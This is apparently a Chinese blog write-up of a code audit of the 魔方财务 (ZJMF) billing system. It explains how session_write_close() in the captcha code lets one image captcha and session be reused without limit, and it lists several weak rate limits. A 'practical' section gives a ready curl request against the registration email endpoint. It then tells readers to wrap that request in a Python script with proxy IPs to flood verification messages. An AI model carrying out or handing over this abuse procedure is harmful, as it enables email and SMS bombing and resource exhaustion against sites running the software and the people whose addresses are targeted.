魔方财务刷验证码漏洞 代码审计过程

魔方财务刷验证码漏洞 代码审计过程

[root@localhost ~]# curl -s -X POST "https://******.cn/register_email_send" -H "Content-Type: application/x-www-form-urlencoded" -H "X-Requested-With: XMLHttpRequest" -H "User-Agent: Mozilla/5.0 (Linux; Android 6.0) AppleWebKit/537.36 Chrome/145.0.0.0 Mobile Safari/537.36" -b "PHPSESSID=**********" -d "mk=********************************&email=********@qq.com"
{"status":400,"msg":"图形验证码有误"}

[root@localhost ~]# curl -s -X POST "https://******.cn/register_email_send" -H "Content-Type: application/x-www-form-urlencoded" -H "X-Requested-With: XMLHttpRequest" -H "User-Agent: Mozilla/5.0 (Linux; Android 6.0) AppleWebKit/537.36 Chrome/145.0.0.0 Mobile Safari/537.36" -b "PHPSESSID=**********" -d "mk=********************************&email=********@qq.com&captcha=读到的验证码"
{"status":200,"msg":"验证码发送成功"}

[root@localhost ~]# curl -s -X POST "https://******.cn/register_email_send" -H "Content-Type: application/x-www-form-urlencoded" -H "X-Requested-With: XMLHttpRequest" -H "User-Agent: Mozilla/5.0 (Linux; Android 6.0) AppleWebKit/537.36 Chrome/145.0.0.0 Mobile Safari/537.36" -b "PHPSESSID=**********" -d "mk=********************************&email=********@qq.com&captcha=随便写"
{"status":400,"msg":"图形验证码有误"}

[root@localhost ~]# curl -s -X POST "https://******.cn/register_email_send" -H "Content-Type: application/x-www-form-urlencoded" -H "X-Requested-With: XMLHttpRequest" -H "User-Agent: Mozilla/5.0 (Linux; Android 6.0) AppleWebKit/537.36 Chrome/145.0.0.0 Mobile Safari/537.36" -b "PHPSESSID=**********" -d "mk=********************************&email=********@qq.com&captcha=读到验证码"
{"status":200,"msg":"验证码发送成功"}

通过测试发现图片验证码不过期 从 正版魔方财务 下载源码 扔给AI 找到管验证码的部分

首先看到一堆屎 虽然跟这个漏洞没什么关系

 ---
  发现的问题

  1. msfntk Token 校验是空壳(最严重)

  RegisterController.php:69-70 和 LoginController.php:103-104 以及        
  resetPhoneSend 里:

  if (cookie("msfntk") != $data["mk"] || !cookie("msfntk")) {
      // 空的!什么都没做
  }

  这个 if 块是空的,意味着 token 校验完全失效,任何人不带 token
  也能直接调接口发短信。

  ---
  2. 邮件发送没有日限额

  registerEmailSend() 和 resetEmailSend() 都没有调用
  sendmsglimit(),只有短信走了数据库日限额。邮件只靠 IP
  缓存(5分钟10次)和 session(60秒),session 很容易绕过。

  ---
  3. resetEmailSend() 的防刷窗口只有 5 秒

  RegisterController.php:494-498:

  $key = "home_client_" . $email;
  if (Cache::has($key)) {
      return json(["status" => 200, "msg" => "发送中,请稍等"]);
  }
  Cache::set($key, 1, 5);  // 只有 5 秒!

  5秒后就能再发,基本没有保护。

  ---
  4. IP 计数器逻辑错误,实际允许 9 次而非 5 次

  RegisterController.php:43-51:

  if (Cache::has($key)) {
      Cache::inc($key);       // 先自增
      $tmp = Cache::get($key);
      if ($tmp >= 10) {       // 再判断
          return error;       // 消息写的"五次",实际限制是 9 次
      }
  } else {
      Cache::set($key, 1, 300);  // 第一次设为 1,不判断
  }

  第一次请求直接放行(设为1),之后每次先加再判断,到10才拦截,实际放过了 
  9 次,但错误提示写的是"五分钟只能发送五次"。

  ---
  5. sendmsglimit() 限额硬编码,不可配置

  common.php:5448-5449:

  $sendmsgtimes = 30;   // 每天每IP最多30次
  $sendmsgphone = 5;    // 每天每IP最多5个手机号

  这两个值是写死的,后台无法调整。

第一个 目测废弃的屎 第二个 问题不大邮件不要钱 看数据库短信限制也不生效 可能短信也不要钱

第三个 发现验证码页面点发送开始倒计时 刷新个网页继续发 又是屎山后果

第四个 又是小脑攻击大脑的屎山 第五个不算洞

除了看到一堆屎 看不出来问题 手动找管验证码的地方
zjmf-manger-decoded-main\vendor\topthink\think-captcha\src

查看到common.php的 sessionInit()函数

function sessionInit()
{
// …
\think\facade\Session::init($config);
session_write_close(); // ← 这里!关闭了 session
return true;
}

看到helper.php

function captcha_check($value, $id = ‘’)
{
$captcha = new \think\captcha\Captcha((array)
Config::pull(‘captcha’));
// ↑ 构造函数里调用了 sessionInit()
// sessionInit() 最后执行 session_write_close()
// 此时 session 被关闭!
return $captcha->check($value, $id);
}

check() 内部 (Captcha.php:113):
public function check($code, $id = ‘’)
{
$key = $this->authcode($this->seKey) . $id;
$secode = Session::get($key, ‘’); // 读 session(还能读到)

if ($this->authcode(strtoupper($code)) == $secode[‘verify_code’]) {
$this->reset && Session::delete($key, ‘’); // ← 删除 session
// ↑ 但 session 已经被 session_write_close()

关闭了
// 这个删除操作不会持久化到磁盘!
return true;
}
return false;
}

所以phpsession会一直存留在/tmp/session里不被删除(占着硬盘) 并且可以用同一组phpsession和captha无限请求(没有验证IP)

实战

自己浏览器 发邮件的地方f12 然后CMD运行 自己浏览器找到PHPSESSID 和获取到的验证码

 curl -s -X POST "https://域名/register_email_send"  -H "Content-Type: application/x-www-form-urlencoded" -H "X-Requested-With: XMLHttpRequest" -H "User-Agent: Mozilla/5.0 (Linux; Android 6.0) AppleWebKit/537.36 Chrome/145.0.0.0 Mobile Safari/537.36" -b "PHPSESSID=**********" -d "mk=********************************&email=********@qq.com&captcha=随便写"

然后对着这个链接写个python脚本+代理IP即可刷验证码 (速科模板修复了这个问题)


问题二:刷新网页60秒验证码失效的问题

关键代码 控制器中 session(“resettime” . $email) 60秒检查(完全失效)

第二层失效的原因和验证码一样——sessionInit() 里的 session_write_close()
把 session 关了,所以:session(“resettime” . $email) 读出来是 nullime() - null >= 60 → 永远是 true


后记:

什么?怎么修?

多买点邮件就行了

12345678